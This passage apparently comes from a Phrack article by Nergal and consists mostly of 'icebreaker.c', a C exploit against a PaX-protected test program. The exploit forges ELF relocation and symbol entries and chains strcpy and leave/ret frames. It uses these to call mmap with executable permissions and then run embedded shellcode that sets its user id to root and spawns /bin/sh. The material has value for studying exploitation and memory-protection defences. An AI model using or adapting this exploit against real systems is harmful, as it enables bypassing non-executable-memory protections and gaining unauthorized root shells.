reloc_offset = (unsigned int) (&reloc) - JMPREL; reloc.r_info = R_386_JMP_SLOT + real_index*256; reloc.r_offset = (unsigned int) &dummy_writable_int; doit(reloc_offset); printf("not reached\n"); return 0; } <--> <++> phrack-nergal/icebreaker.c !19d7ec6d /* by Nergal */ #include #include #include #include #include #include #define STRCPY 0x080483cc #define LEAVERET 0x08048359 #define FRAMESINDATA 0x08049ac0 #define STRTAB 0x8048204 #define SYMTAB 0x8048164 #define JMPREL 0x80482f4 #define VERSYM 0x80482a8 #define PLT 0x0804835c #define VIND 0x804859b #define MMAP_START 0xaa011000 char hellcode[] = "\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80" "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; /* Unfortunately, if mmap_string = "mmap", accidentaly there appears a "0" in our payload. So, we shift the name by 1 (one 'x'). */ #define NAME_ADD_OFF 1 char mmap_string[] = "xmmap"; struct two_arg { unsigned int new_ebp; unsigned int func; unsigned int leave_ret; unsigned int param1; unsigned int param2; }; struct mmap_plt_args { unsigned int new_ebp; unsigned int put_plt_here; unsigned int reloc_offset; unsigned int leave_ret; unsigned int start; unsigned int length; unsigned int prot; unsigned int flags; unsigned int fd; unsigned int offset; }; struct my_elf_rel { unsigned int r_offset; unsigned int r_info; }; struct my_elf_sym { unsigned int st_name; unsigned int st_value; unsigned int st_size; /* Symbol size */ unsigned char st_info; /* Symbol type and binding */ unsigned char st_other; /* ELF spec say: No defined meaning, 0 */ unsigned short st_shndx; /* Section index */ }; struct ourbuf { struct two_arg reloc; struct two_arg zero[8]; struct mmap_plt_args mymmap; struct two_arg trans; char hell[sizeof(hellcode)]; struct my_elf_rel r; struct my_elf_sym sym; char mmapname[sizeof(mmap_string)]; }; struct ov { char scratch[24]; unsigned int ebp; unsigned int eip; }; #define PTR_TO_NULL (VIND+1) /* this functions prepares strcpy frame so that the strcpy call will zero a byte at "addr" */ void fix_zero(struct ourbuf *b, unsigned int addr, int idx) { b->zero[idx].new_ebp = FRAMESINDATA + offsetof(struct ourbuf, zero) + sizeof(struct two_arg) * (idx + 1); b->zero[idx].func = STRCPY; b->zero[idx].leave_ret = LEAVERET; b->zero[idx].param1 = addr; b->zero[idx].param2 = PTR_TO_NULL; } /* this function checks if the byte at position "offset" is zero; if so, prepare a strcpy frame to nullify it; else, prepare a strcpy frame to nullify some secure, unused location */ void setup_zero(struct ourbuf *b, unsigned int offset, int zeronum) { char *ptr = (char *) b; if (!ptr[offset]) { fprintf(stderr, "fixing zero at %i(off=%i)\n", zeronum, offset); ptr[offset] = 0xff; fix_zero(b, FRAMESINDATA + offset, zeronum); } else fix_zero(b, FRAMESINDATA + sizeof(struct ourbuf) + 4, zeronum); } /* same as above, but prepare to nullify a byte not in our payload, but at absolute address abs */ void setup_zero_abs(struct ourbuf *b, unsigned char *addr, int offset, int zeronum) { char *ptr = (char *) b; if (!ptr[offset]) { fprintf(stderr, "fixing abs zero at %i(off=%i)\n", zeronum, offset); ptr[offset] = 0xff; fix_zero(b, (unsigned int) addr, zeronum); } else fix_zero(b, FRAMESINDATA + sizeof(struct ourbuf) + 4, zeronum); } int main(int argc, char **argv) { char lng[sizeof(struct ov) + 4 + 1]; char str[sizeof(struct ourbuf) + 4 + 1]; char *env[3] = { lng, str, 0 }; struct ourbuf thebuf; struct ov theov; int i; unsigned int real_index, mysym, reloc_offset; memset(theov.scratch, 'X', sizeof(theov.scratch)); if (argc == 2 && !strcmp("testing", argv[1])) { for (i = 0; i < sizeof(theov.scratch); i++) theov.scratch[i] = i + 0x10; theov.ebp = 0x01020304; theov.eip = 0x05060708; } else { theov.ebp = FRAMESINDATA; theov.eip = LEAVERET; } strcpy(lng, "LNG="); memcpy(lng + 4, &theov, sizeof(theov)); lng[4 + sizeof(theov)] = 0; memset(&thebuf, 'A', sizeof(thebuf)); real_index = (VIND - VERSYM) / 2; mysym = SYMTAB + 16 * real_index; fprintf(stderr, "mysym=0x%x\n", mysym); if (mysym > FRAMESINDATA && mysym < FRAMESINDATA + sizeof(struct ourbuf) + 16) { fprintf(stderr, "syment intersects our payload;" " choose another VIND or FRAMESINDATA\n"); exit(1); } reloc_offset = FRAMESINDATA + offsetof(struct ourbuf, r) - JMPREL; /* This strcpy call will relocate my_elf_sym from our payload to a fixed, appropriate location (mysym) */ thebuf.reloc.new_ebp = FRAMESINDATA + offsetof(struct ourbuf, zero); thebuf.reloc.func = STRCPY; thebuf.reloc.leave_ret = LEAVERET; thebuf.reloc.param1 = mysym; thebuf.reloc.param2 = FRAMESINDATA + offsetof(struct ourbuf, sym); thebuf.mymmap.new_ebp = FRAMESINDATA + offsetof(struct ourbuf, trans); thebuf.mymmap.put_plt_here = PLT; thebuf.mymmap.reloc_offset = reloc_offset; thebuf.mymmap.leave_ret = LEAVERET; thebuf.mymmap.start = MMAP_START; thebuf.mymmap.length = 0x01020304; thebuf.mymmap.prot = 0x01010100 | PROT_EXEC | PROT_READ | PROT_WRITE; thebuf.mymmap.flags = 0x01010000 | MAP_EXECUTABLE | MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS; thebuf.mymmap.fd = 0xffffffff; thebuf.mymmap.offset = 0x01021000; thebuf.trans.new_ebp = 0x01020304; thebuf.trans.func = STRCPY; thebuf.trans.leave_ret = MMAP_START + 1; thebuf.trans.param1 = MMAP_START + 1; thebuf.trans.param2 = FRAMESINDATA + offsetof(struct ourbuf, hell); memset(thebuf.hell, 'x', sizeof(thebuf.hell)); memcpy(thebuf.hell, hellcode, strlen(hellcode)); thebuf.r.r_info = 7 + 256 * real_index; thebuf.r.r_offset = FRAMESINDATA + sizeof(thebuf) + 4; thebuf.sym.st_name = FRAMESINDATA + offsetof(struct ourbuf, mmapname) + NAME_ADD_OFF- STRTAB; thebuf.sym.st_value = FRAMESINDATA + sizeof(thebuf) + 4; #define ANYTHING 0xfefefe80 thebuf.sym.st_size = ANYTHING; thebuf.sym.st_info = (unsigned char) ANYTHING; thebuf.sym.st_other = ((unsigned char) ANYTHING) & ~3; thebuf.sym.st_shndx = (unsigned short) ANYTHING; strcpy(thebuf.mmapname, mmap_string); /* setup_zero[_abs] functions prepare arguments for strcpy calls, which are to nullify certain bytes */ setup_zero(&thebuf, offsetof(struct ourbuf, r) + offsetof(struct my_elf_rel, r_info) + 2, 0); setup_zero(&thebuf, offsetof(struct ourbuf, r) + offsetof(struct my_elf_rel, r_info) + 3, 1); setup_zero_abs(&thebuf, (char *) mysym + offsetof(struct my_elf_sym, st_name) + 2, offsetof(struct ourbuf, sym) + offsetof(struct my_elf_sym, st_name) + 2, 2); setup_zero_abs(&thebuf, (char *) mysym + offsetof(struct my_elf_sym, st_name) + 3, offsetof(struct ourbuf, sym) + offsetof(struct my_elf_sym, st_name) + 3, 3); setup_zero(&thebuf, offsetof(struct ourbuf, mymmap) + offsetof(struct mmap_plt_args, start), 4); setup_zero(&thebuf, offsetof(struct ourbuf, mymmap) + offsetof(struct mmap_plt_args, offset), 5); setup_zero(&thebuf, offsetof(struct ourbuf, mymmap) + offsetof(struct mmap_plt_args, reloc_offset) + 2, 6); setup_zero(&thebuf, offsetof(struct ourbuf, mymmap) + offsetof(struct mmap_plt_args, reloc_offset) + 3, 7); strcpy(str, "STR="); memcpy(str + 4, &thebuf, sizeof(thebuf)); str[4 + sizeof(thebuf)] = 0; if (sizeof(struct ourbuf) + 4 > strlen(str) + sizeof(thebuf.mmapname)) { fprintf(stderr, "Zeroes in the payload, sizeof=%d, len=%d, correct it !\n", sizeof(struct ourbuf) + 4, strlen(str)); fprintf(stderr, "sizeof thebuf.mmapname=%d\n", sizeof(thebuf.mmapname)); exit(1); } execle("./pax", "pax", 0, env, 0); return 1; } <-->